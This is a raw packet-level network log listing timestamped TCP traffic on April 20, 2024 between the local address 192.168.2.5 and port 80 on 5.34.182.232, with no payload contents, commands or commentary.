Apr 20, 2024 10:22:57.439260006 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439259052 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439270973 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439280987 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439284086 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439296007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439299107 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439307928 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439318895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439331055 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439335108 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439335108 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439342022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439352989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439358950 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439383984 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439414978 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439436913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439449072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439460039 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439471960 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439479113 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439481974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439496994 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439505100 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439505100 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439512014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439526081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439531088 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439538002 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439546108 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439553022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439565897 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439575911 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439579010 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439594984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439608097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439619064 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439627886 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439627886 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439630032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439642906 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439655066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439661980 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439666033 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439677954 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439687967 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439693928 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439694881 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439703941 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439716101 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439718962 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439733028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439734936 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439743996 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439755917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439757109 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439769030 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439779997 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439785957 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439819098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439820051 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439820051 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439855099 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.467839956 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.467900038 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.467916965 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.467957973 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.467972994 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.467998028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.468080997 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.468301058 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677330971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677357912 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677371025 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677385092 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677401066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677413940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677428007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677443027 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677438021 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677438021 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677457094 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677472115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677484989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677496910 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677510977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677525043 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677537918 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677550077 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677551031 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677551031 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677551031 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677551031 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677562952 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677577019 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677580118 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677592039 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677602053 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677615881 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677623987 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677632093 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677645922 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677658081 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677659035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677685022 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677715063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677730083 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677757978 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677809000 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677826881 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677839041 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677851915 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677855968 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677874088 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.677908897 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677943945 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.677951097 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.678025007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678066015 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.678105116 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678216934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678266048 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.678292990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678306103 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678320885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678334951 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678350925 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.678381920 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.678910971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678927898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678939104 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678951979 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678972006 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.678987026 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.678997993 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679065943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679080963 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679114103 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679311991 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679374933 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679410934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679426908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679461002 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679461002 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679474115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679486990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679506063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679517984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679524899 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679544926 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679620028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679634094 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679645061 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679656982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679667950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679668903 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679681063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679687977 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679694891 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679707050 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679709911 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679725885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679738045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679749966 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679758072 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679764032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679776907 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679778099 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679791927 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679795980 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679805994 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679817915 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679817915 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679830074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679842949 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679852962 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679856062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679872036 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679873943 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679886103 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679898977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679902077 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679913044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.679927111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.679945946 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680069923 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680085897 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680097103 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680114031 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680124998 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680136919 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680147886 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680151939 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680151939 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680160046 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680171967 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680172920 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680182934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680195093 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680196047 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680206060 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680221081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680231094 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680238008 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680243969 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680258989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680258989 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680272102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680278063 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680288076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680299044 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680305004 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680318117 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680330992 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.680339098 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.680356026 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.707752943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.707788944 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.707828045 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.707947969 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.707964897 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.707998037 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.917541027 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917599916 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917639971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917676926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917715073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917741060 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.917751074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917784929 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.917788982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917809010 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.917829037 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917865992 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917879105 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.917902946 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917939901 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.917958021 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.917974949 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918013096 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918030977 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918049097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918085098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918104887 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918122053 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918158054 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918173075 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918193102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918230057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918246031 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918267012 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918303967 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918322086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918340921 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918376923 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918395042 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918414116 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918450117 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918466091 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918487072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918524981 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918536901 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918561935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918598890 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918616056 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918637991 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918674946 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918692112 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918710947 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918746948 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918762922 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918785095 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918821096 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918838024 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918858051 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918893099 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918910980 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.918930054 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918967009 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.918978930 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919003963 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919039965 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919065952 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919075966 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919112921 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919133902 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919150114 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919188023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919197083 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919224024 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919260025 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919270039 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919295073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919332027 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919347048 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919368982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919404984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919423103 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919441938 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919477940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919495106 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919513941 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919549942 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919564962 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919594049 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919631958 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919650078 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919670105 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919720888 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919785976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919821978 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919857979 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919874907 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919894934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919929981 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.919945955 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.919966936 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920001984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920017958 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920038939 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920073986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920089006 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920134068 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920176029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920186043 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920212984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920305967 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920320988 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920344114 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920380116 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920393944 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920417070 CEST	80	49708	5.34.182.232	192.168.2.5
